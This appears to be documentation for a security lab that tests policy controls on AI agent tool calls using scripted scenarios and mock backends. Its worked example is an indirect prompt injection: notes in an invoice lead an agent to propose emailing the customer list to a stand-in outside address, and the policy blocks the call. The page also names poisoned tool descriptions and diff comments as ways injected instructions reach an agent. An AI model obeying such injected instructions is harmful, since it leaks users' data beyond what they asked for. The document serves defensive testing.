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MCP Security Lab
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How it works

Every simulated call goes through the same pipeline, decided by fixed rules rather than by a model. The pipeline never touches your systems: read-only discovery happens before it, and every simulated tool call lands on a mock.

The pipeline

Seven stages, run in order for each proposed call. The boxes follow one call from a recorded run of our synthetic flagship scenario: the injected send_email that tries to send the customer list to an outside address.

  1. User intent

    What the user asked for, and the capabilities and tools that task needs. Intent binding checks every later call against it.

    “Read the latest invoice.”capabilities: readtools: read_invoice

  2. Agent proposal

    The agent proposes one tool call with arguments. The lab records where the proposal came from: the user’s request, an instruction injected through content, or agent overreach.

    send_emailto: billing-audit@exfil-partner.examplesource: injectednote: Exfiltration attempt demanded by the invoice notes

  3. Policy evaluation

    The engine checks the call against every rule that applies and keeps the strictest result: allow, needs approval, or deny. Each matched rule is recorded with its reason.

    POL-CAPABILITY-RULE require_approvalPOL-INTENT-SCOPE denyPOL-INTENT-TOOL denyPOL-EGRESS-ALLOWLIST denyPOL-APPROVAL-REQUIRED require_approvalDenied

  4. Approval decision

    A call that needs approval goes to a simulated out-of-band human, who approves, denies or never answers, as the scenario defines. An agent-supplied confirm flag counts only if the policy says so.

    Not requested: the call is already denied, and deny overrides approval.

  5. Mock tool action or block

    Allowed and approved calls run against an in-memory mock backend, which records any side effect in a ledger. Denied, rejected and unanswered calls are blocked and never run.

    Blocked. The mock send_email handler never ran.Mock side effects in this run: 0

  6. Evidence

    Steps, matched rules, approvals, result digests, mock side effects and assertion results form one record, hashed with SHA-256.

    sha256 53439f92150f893e…53439f92150f893ec38ebfb33eb317727b64a658707b087d23f599de4adabf343 steps, 3 of 3 assertions held

  7. Report

    The scenario’s outcome and evidence hash go into the report as a simulation result, next to the static, policy and observed results.

    PassMSL-SIM-001: Indirect prompt injection exfiltrates customer data

A worst-case agent, on purpose

The lab does not ask a language model what it would do. Each scenario is a script of proposed calls, and the scripted agent makes every one of them, including every instruction injected through a tool result or a tool description.

That makes results about your controls, not about a model’s mood on a given day. The same scenario, policy and fixture produce the same evidence hash every time. Each proposed call is tagged with its source:

Requested by user
Calls the user asked for. Each scenario also lists what must still work, so a policy cannot pass by blocking everything.
Injected instruction
Calls demanded by text the agent read: a note in an invoice, a comment in a diff, a poisoned tool description.
Agent overreach
Calls nobody asked for, such as sending an email the user only asked to draft.

The flip side: a real model may refuse an injection that the script follows, or try something no scenario covers. A pass means the policy contained these scripted attacks, not every possible attack.

Two execution modes

Every simulation runs in one of two modes, and the report says which.

AspectSynthetic fixtureMock replica
What runsOne of our in-memory MCP servers, with mock backends.An in-memory copy of your discovered tools, with synthetic handlers.
Scenarios13 hand-written scenarios, each tied to the fixtures it fits.Generated from the capabilities your tools expose.
Your systemsNot involved.Contacted only for read-only discovery, before any simulation runs.
A pass meansThe policy contained the scripted attack on that fixture, and the legitimate request still worked.The same, on a copy of your tool surface. Whether your real server enforces the same controls is reported as not tested.
Report labelSynthetic assessmentAssessment of a discovered tool surface

What the lab never does

Calling your tools
Discovery allows only the handshake, the list methods, ping and one probe for a method that does not exist. tools/call, or any other method, is refused inside the lab before a request is sent.
Running commands you paste
Nothing you enter is executed. Command and SQL strings in scenarios are data handed to mock handlers, which record the attempt; no shell or database is involved.
Storing bearer tokens
A token is held in memory for one discovery, sent only in the Authorization header to your endpoint, scrubbed from error messages, and never stored.
Reaching private networks
Targets must use https on port 443 or 8443. Each DNS answer is checked when a connection opens. Private, loopback, link-local (including cloud metadata) and other special-purpose ranges are refused, internal host names are rejected, and redirects that leave the endpoint’s origin are not followed.